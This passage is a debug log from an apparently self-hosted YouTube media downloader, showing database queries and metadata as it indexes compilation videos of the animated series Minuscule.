s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:47:32.841 [debug] QUERY OK source="media_items" db=0.7ms idle=692.8ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-11-15 19:00:04Z], 4] 00:47:32.843 [debug] QUERY OK source="media_items" db=2.0ms idle=196.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Bless You! | S01E66\n00:04:11 | The Winter Of Our Discontent | S01E67\n00:08:59 | Windswept | S01E68\n00:13:48 | No Luck | S01E62\n00:18:31 | Come Christmas | S01E63\n00:23:10 | The Persevering One | S01E31\n00:27:51 | A Gust Of Wind | S01E13\n00:32:33 | Interior Cobwebs | S01E64\n00:37:00 | O Tannenbaum | S01E71\n00:41:39 | Zzzeplin | S01E22\n00:46:28 | Quiet! | S01E60\n00:51:10 | King Size Camembert | S01E45\n00:55:49 | Picnic | S01E24\n01:00:33 | The Ladybug | S01E01\n01:05:10 | Out Of A Tin Can | S01E65\n01:09:45 | The Last Supper | S01E25\r\n \r\n🐞 Minuscule: The Animated Series | Season 1 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a\r\n\r\n© Futurikon\r\n\r\n#sneezing #spider #cold #hunting #winter #fly #radiator #Minuscule #nature #insects #ladybugs #animatedseries", "Bless You! | Minuscule 🍃 90' Compilation", "21c803e5-90b8-4ac0-b707-765f83aea2ab", "5uW9MeqAADo", 4505, false, 4, "https://www.youtube.com/watch?v=5uW9MeqAADo", 6, "/downloads/Miniscule Season 1/2025-11-15 Bless You! | Minuscule 🍃 90' Compilation/Bless You! | Minuscule 🍃 90' Compilation [5uW9MeqAADo].mp4", false, false, false, [], 1, ~U[2025-11-15 19:00:04Z], ~U[2025-12-14 07:47:32Z], ~U[2025-12-14 07:47:32Z], "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Bless You! | S01E66\n00:04:11 | The Winter Of Our Discontent | S01E67\n00:08:59 | Windswept | S01E68\n00:13:48 | No Luck | S01E62\n00:18:31 | Come Christmas | S01E63\n00:23:10 | The Persevering One | S01E31\n00:27:51 | A Gust Of Wind | S01E13\n00:32:33 | Interior Cobwebs | S01E64\n00:37:00 | O Tannenbaum | S01E71\n00:41:39 | Zzzeplin | S01E22\n00:46:28 | Quiet! | S01E60\n00:51:10 | King Size Camembert | S01E45\n00:55:49 | Picnic | S01E24\n01:00:33 | The Ladybug | S01E01\n01:05:10 | Out Of A Tin Can | S01E65\n01:09:45 | The Last Supper | S01E25\r\n \r\n🐞 Minuscule: The Animated Series | Season 1 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a\r\n\r\n© Futurikon\r\n\r\n#sneezing #spider #cold #hunting #winter #fly #radiator #Minuscule #nature #insects #ladybugs #animatedseries", "Bless You! | Minuscule 🍃 90' Compilation", "5uW9MeqAADo", 4505, false, 4, "https://www.youtube.com/watch?v=5uW9MeqAADo", "/downloads/Miniscule Season 1/2025-11-15 Bless You! | Minuscule 🍃 90' Compilation/Bless You! | Minuscule 🍃 90' Compilation [5uW9MeqAADo].mp4", false, ~U[2025-11-15 19:00:04Z]] 00:47:32.844 [debug] QUERY OK source="sources" db=0.3ms idle=64.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:47:32.845 [debug] QUERY OK source="media_profiles" db=0.2ms idle=5.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 00:47:32.845 [debug] QUERY OK source="media_items" db=0.3ms idle=5.3ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [101015] 00:47:32.845 [debug] Current batch of media processed. Will check again in 1000ms 00:47:33.847 [debug] Current batch of media processed. Will check again in 1000ms 00:47:34.848 [debug] Current batch of media processed. Will check again in 1000ms 00:47:35.849 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Sleeping In | S01E12\n00:04:49 | A Bee’s Night Out | S01E51\n00:09:37 | Convoy | S01E10\n00:14:18 | Goofing Off | S01E37\n00:18:59 | Caterpillar Dream | S01E20\n00:23:48 | Sleepless Night | S01E50\n00:28:27 | The Zzzzzz Patrol | S01E39\n00:33:06 | No Exit | S01E61\n00:37:45 | Hyperactive | S01E54\n00:42:26 | The Ladybug | S01E01\n00:47:02 | A Snail’s Dream | S01E11\n00:51:52 | Love Story | S01E03\n00:56:41 | The Infernal Anthill | S01E35\n01:01:00 | On Your Marks, get set, go ! | S01E75\n01:05:49 | Nap Time | S01E14\r\n \r\n🐞 Minuscule: The Animated Series | Season 1 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a\r\n\r\n© Futurikon\r\n\r\n#bees #nectar #flowers #genius #bee #night #lost #home #Minuscule #nature #insects #ladybugs #animatedseries", "duration" => 4270, "filename" => "/downloads/Miniscule Season 1/2025-11-29 Sleeping In | Minuscule 🍃 85' Compilation/Sleeping In | Minuscule 🍃 85' Compilation [T74ftU23ZFw].mkv", "id" => "T74ftU23ZFw", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=T74ftU23ZFw", "playlist_index" => 7, "timestamp" => 1764442834, "title" => "Sleeping In | Minuscule 🍃 85' Compilation", "upload_date" => "20251129"} 00:47:35.850 [debug] QUERY OK source="sources" db=0.3ms queue=0.1ms idle=1204.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [4] 00:47:35.851 [debug] QUERY OK source="sources" db=0.3ms idle=1205.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:47:35.852 [debug] QUERY OK source="media_items" db=0.9ms queue=0.1ms idle=1206.1ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-11-29 19:00:34Z], 4] 00:47:35.856 [debug] QUERY OK source="media_items" db=2.6ms idle=1068.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Sleeping In | S01E12\n00:04:49 | A Bee’s Night Out | S01E51\n00:09:37 | Convoy | S01E10\n00:14:18 | Goofing Off | S01E37\n00:18:59 | Caterpillar Dream | S01E20\n00:23:48 | Sleepless Night | S01E50\n00:28:27 | The Zzzzzz Patrol | S01E39\n00:33:06 | No Exit | S01E61\n00:37:45 | Hyperactive | S01E54\n00:42:26 | The Ladybug | S01E01\n00:47:02 | A Snail’s Dream | S01E11\n00:51:52 | Love Story | S01E03\n00:56:41 | The Infernal Anthill | S01E35\n01:01:00 | On Your Marks, get set, go ! | S01E75\n01:05:49 | Nap Time | S01E14\r\n \r\n🐞 Minuscule: The Animated Series | Season 1 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a\r\n\r\n© Futurikon\r\n\r\n#bees #nectar #flowers #genius #bee #night #lost #home #Minuscule #nature #insects #ladybugs #animatedseries", "Sleeping In | Minuscule 🍃 85' Compilation", "61243325-5fe0-4e8f-a448-ccfdad07da89", "T74ftU23ZFw", 4270, false, 4, "https://www.youtube.com/watch?v=T74ftU23ZFw", 7, "/downloads/Miniscule Season 1/2025-11-29 Sleeping In | Minuscule 🍃 85' Compilation/Sleeping In | Minuscule 🍃 85' Compilation [T74ftU23ZFw].mkv", false, false, false, [], 1, ~U[2025-11-29 19:00:34Z], ~U[2025-12-14 07:47:35Z], ~U[2025-12-14 07:47:35Z], "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Sleeping In | S01E12\n00:04:49 | A Bee’s Night Out | S01E51\n00:09:37 | Convoy | S01E10\n00:14:18 | Goofing Off | S01E37\n00:18:59 | Caterpillar Dream | S01E20\n00:23:48 | Sleepless Night | S01E50\n00:28:27 | The Zzzzzz Patrol | S01E39\n00:33:06 | No Exit | S01E61\n00:37:45 | Hyperactive | S01E54\n00:42:26 | The Ladybug | S01E01\n00:47:02 | A Snail’s Dream | S01E11\n00:51:52 | Love Story | S01E03\n00:56:41 | The Infernal Anthill | S01E35\n01:01:00 | On Your Marks, get set, go ! | S01E75\n01:05:49 | Nap Time | S01E14\r\n \r\n🐞 Minuscule: The Animated Series | Season 1 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a\r\n\r\n© Futurikon\r\n\r\n#bees #nectar #flowers #genius #bee #night #lost #home #Minuscule #nature #insects #ladybugs #animatedseries", "Sleeping In | Minuscule 🍃 85' Compilation", "T74ftU23ZFw", 4270, false, 4, "https://www.youtube.com/watch?v=T74ftU23ZFw", "/downloads/Miniscule Season 1/2025-11-29 Sleeping In | Minuscule 🍃 85' Compilation/Sleeping In | Minuscule 🍃 85' Compilation [T74ftU23ZFw].mkv", false, ~U[2025-11-29 19:00:34Z]] 00:47:35.857 [debug] QUERY OK source="sources" db=0.3ms idle=69.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:47:35.857 [debug] QUERY OK source="media_profiles" db=0.3ms idle=6.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 00:47:35.858 [debug] QUERY OK source="media_items" db=0.5ms idle=6.9ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [101901] 00:47:35.859 [debug] Current batch of media processed. Will check again in 1000ms 00:47:36.860 [debug] Current batch of media processed. Will check again in 1000ms 00:47:37.861 [debug] Current batch of media processed. Will check again in 1000ms 00:47:38.862 [debug] Current batch of media processed. Will check again in 1000ms 00:47:39.863 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | A Snail’s Dream | S01E11\n00:04:49 | A Rolling Snail Gathers No Moss | S01E49\n00:09:25 | It Never Rains But It Pours | S01E41\n00:14:13 | On Your Marks, get set, go ! | S01E75\n00:19:02 | Shell-Less | S01E19\n00:23:45 | Sleepless Night | S01E50\n00:28:24 | Sleeping In | S01E12\n00:33:13 | Lettuce | S01E48\n00:38:00 | Leech | S01E73\n00:42:24 | Mad Fly | S01E55\n00:47:03 | Insect High Velocity | S01E53\n00:51:42 | City Caterpillar And Butterfly Of The Fields | S01E30\n00:56:26 | Caterpillar Dream | S01E20\n01:01:15 | Nap Time | S01E14\r\n \r\n🐞 Minuscule: The Animated Series | Season 1 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a\r\n\r\n© Futurikon\r\n\r\n#snail #dream #undergrowth #speed #journey #playground #slide #Minuscule #nature #insects #ladybugs #animatedseries", "duration" => 3995, "filename" => "/downloads/Miniscule Season 1/2025-11-27 A Snail’s Dream | Minuscule 🍃 80' Compilation/A Snail’s Dream | Minuscule 🍃 80' Compilation [1EArPQKUlyI].mkv", "id" => "1EArPQKUlyI", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=1EArPQKUlyI", "playlist_index" => 8, "timestamp" => 1764241203, "title" => "A Snail’s Dream | Minuscule 🍃 80' Compilation", "upload_date" => "20251127"} 00:47:39.865 [debug] QUERY OK source="sources" db=0.4ms queue=0.2ms idle=219.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [4] 00:47:39.866 [debug] QUERY OK source="sources" db=0.4ms idle=220.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:47:39.867 [debug] QUERY OK source="media_items" db=0.9ms queue=0.1ms idle=221.0ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-11-27 11:00:03Z], 4] 00:47:39.871 [debug] QUERY OK source="media_items" db=2.7ms idle=222.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | A Snail’s Dream | S01E11\n00:04:49 | A Rolling Snail Gathers No Moss | S01E49\n00:09:25 | It Never Rains But It Pours | S01E41\n00:14:13 | On Your Marks, get set, go ! | S01E75\n00:19:02 | Shell-Less | S01E19\n00:23:45 | Sleepless Night | S01E50\n00:28:24 | Sleeping In | S01E12\n00:33:13 | Lettuce | S01E48\n00:38:00 | Leech | S01E73\n00:42:24 | Mad Fly | S01E55\n00:47:03 | Insect High Velocity | S01E53\n00:51:42 | City Caterpillar And Butterfly Of The Fields | S01E30\n00:56:26 | Caterpillar Dream | S01E20\n01:01:15 | Nap Time | S01E14\r\n \r\n🐞 Minuscule: The Animated Series | Season 1 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a\r\n\r\n© Futurikon\r\n\r\n#snail #dream #undergrowth #speed #journey #playground #slide #Minuscule #nature #insects #ladybugs #animatedseries", "A Snail’s Dream | Minuscule 🍃 80' Compilation", "12b66871-bf44-4170-923f-e028c7444477", "1EArPQKUlyI", 3995, false, 4, "https://www.youtube.com/watch?v=1EArPQKUlyI", 8, "/downloads/Miniscule Season 1/2025-11-27 A Snail’s Dream | Minuscule 🍃 80' Compilation/A Snail’s Dream | Minuscule 🍃 80' Compilation [1EArPQKUlyI].mkv", false, false, false, [], 1, ~U[2025-11-27 11:00:03Z], ~U[2025-12-14 07:47:39Z], ~U[2025-12-14 07:47:39Z], "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | A Snail’s Dream | S01E11\n00:04:49 | A Rolling Snail Gathers No Moss | S01E49\n00:09:25 | It Never Rains But It Pours | S01E41\n00:14:13 | On Your Marks, get set, go ! | S01E75\n00:19:02 | Shell-Less | S01E19\n00:23:45 | Sleepless Night | S01E50\n00:28:24 | Sleeping In | S01E12\n00:33:13 | Lettuce | S01E48\n00:38:00 | Leech | S01E73\n00:42:24 | Mad Fly | S01E55\n00:47:03 | Insect High Velocity | S01E53\n00:51:42 | City Caterpillar And Butterfly Of The Fields | S01E30\n00:56:26 | Caterpillar Dream | S01E20\n01:01:15 | Nap Time | S01E14\r\n \r\n🐞 Minuscule: The Animated Series | Season 1 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a\r\n\r\n© Futurikon\r\n\r\n#snail #dream #undergrowth #speed #journey #playground #slide #Minuscule #nature #insects #ladybugs #animatedseries", "A Snail’s Dream | Minuscule 🍃 80' Compilation", "1EArPQKUlyI", 3995, false, 4, "https://www.youtube.com/watch?v=1EArPQKUlyI", "/downloads/Miniscule Season 1/2025-11-27 A Snail’s Dream | Minuscule 🍃 80' Compilation/A Snail’s Dream | Minuscule 🍃 80' Compilation [1EArPQKUlyI].mkv", false, ~U[2025-11-27 11:00:03Z]] 00:47:39.872 [debug] QUERY OK source="sources" db=0.4ms idle=76.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:47:39.873 [debug] QUERY OK source="media_profiles" db=0.3ms idle=7.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 00:47:39.874 [debug] QUERY OK source="media_items" db=0.5ms idle=7.5ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [101902] 00:47:39.874 [debug] Current batch of media processed. Will check again in 1000ms 00:47:40.875 [debug] Current batch of media processed. Will check again in 1000ms 00:47:41.876 [debug] Current batch of media processed. Will check again in 1000ms 00:47:42.877 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Hiccups | S01E26\n00:04:44 | Jump, Jump, Jump | S01E76\n00:09:05 | Horsefly | S01E21\n00:13:47 | Mad Fly | S01E55\n00:18:26 | A Gust Of Wind | S01E13\n00:23:07 | The Ladybug | S01E01\n00:27:44 | Ladybugs | S01E17\n00:32:23 | Nap Time | S01E14\n00:37:12 | Hyperactive | S01E54\n00:41:53 | Cherry Tomato | S01E77\n00:46:32 | The Last Supper | S01E25\n00:51:21 | 